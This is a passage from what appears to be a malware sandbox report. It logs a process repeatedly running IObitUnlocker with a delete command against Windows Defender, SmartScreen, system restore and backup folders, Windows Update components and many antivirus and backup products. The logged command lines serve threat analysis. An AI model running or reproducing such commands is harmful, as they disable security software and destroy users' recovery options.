Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                                                                                                                          6⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          • Loads dropped DLL
                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                          PID:5252
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                                                                                                                          6⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          • Loads dropped DLL
                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                          PID:648
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                                                                                                                          6⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          • Loads dropped DLL
                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                          PID:5516
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
